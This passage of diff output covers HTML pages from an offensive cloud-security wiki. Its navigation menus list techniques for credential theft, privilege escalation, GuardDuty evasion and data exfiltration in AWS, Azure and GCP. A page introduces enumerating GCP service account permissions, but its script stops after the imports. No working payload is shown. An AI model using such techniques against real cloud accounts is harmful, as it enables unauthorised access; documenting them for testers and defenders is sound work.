class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2 checked> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=true> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Enumerate Service Account Permissions </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-the-list-of-permissions class=md-nav__link> <span class=md-ellipsis> Updating the list of permissions </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-the-list-of-permissions class=md-nav__link> <span class=md-ellipsis> Updating the list of permissions </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Aloïs THÉVENOT</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/enumeration/enumerate_service_account_permissions.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Enumerate Service Account Permissions</h1> <p>Link to Tool: <a href=https://github.com/NicholasSpringer/thunder-ctf/blob/master/scripts/test-permissions.py>GitHub</a></p> <p>On GCP it is possible to use the <a href=https://cloud.google.com/resource-manager/reference/rest/v1/projects/testIamPermissions><code>projects.testIamPermissions</code></a> method to check the permissions that a caller has on the specified Project.</p> <p>To enumerate permissions you will need either a service account key file or an access token as well as the project ID.</p> <div class="admonition info"> <p class=admonition-title>Info</p> <p>The project ID can be retrieved from the metadata endpoint at <code>/computeMetadata/v1/project/project-id</code></p> </div> <p>The following script taken from the <a href=https://github.com/NicholasSpringer/thunder-ctf/ >ThunderCTF</a> repository can be used to enumerate permissions:</p> <div class=highlight><pre><span></span><code><span class=kn>from</span> <span class=nn>googleapiclient</span> <span class=kn>import</span> <span class=n>discovery</span>
 <span class=kn>import</span> <span class=nn>google.oauth2.service_account</span>
 <span class=kn>from</span> <span class=nn>google.oauth2.credentials</span> <span class=kn>import</span> <span class=n>Credentials</span>
 <span class=kn>import</span> <span class=nn>os</span><span class=o>,</span> <span class=nn>sys</span>
diff --git a/gcp/exploitation/gcp_iam_privilege_escalation/index.html b/gcp/exploitation/gcp_iam_privilege_escalation/index.html
index 3dd4b7382..46a0d1122 100644
--- a/gcp/exploitation/gcp_iam_privilege_escalation/index.html
+++ b/gcp/exploitation/gcp_iam_privilege_escalation/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Privilege escalation techniques for Google Cloud Platform (GCP)"><link href=https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ rel=canonical><link href=../../enumeration/enumerate_service_account_permissions/ rel=prev><link href=../../capture_the_flag/gcp-goat/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Privilege Escalation in Google Cloud Platform - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Privilege Escalation in Google Cloud Platform - Hacking The Cloud"><meta property=og:description content="Privilege escalation techniques for Google Cloud Platform (GCP)"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Privilege Escalation in Google Cloud Platform - Hacking The Cloud"><meta property=twitter:description content="Privilege escalation techniques for Google Cloud Platform (GCP)"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Privilege escalation techniques for Google Cloud Platform (GCP)"><link href=https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ rel=canonical><link href=../../enumeration/enumerate_service_account_permissions/ rel=prev><link href=../../capture_the_flag/gcp-goat/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Privilege Escalation in Google Cloud Platform - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Privilege Escalation in Google Cloud Platform - Hacking The Cloud"><meta property=og:description content="Privilege escalation techniques for Google Cloud Platform (GCP)"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Privilege Escalation in Google Cloud Platform - Hacking The Cloud"><meta property=twitter:description content="Privilege escalation techniques for Google Cloud Platform (GCP)"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#privilege-escalation-in-google-cloud-platform class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg 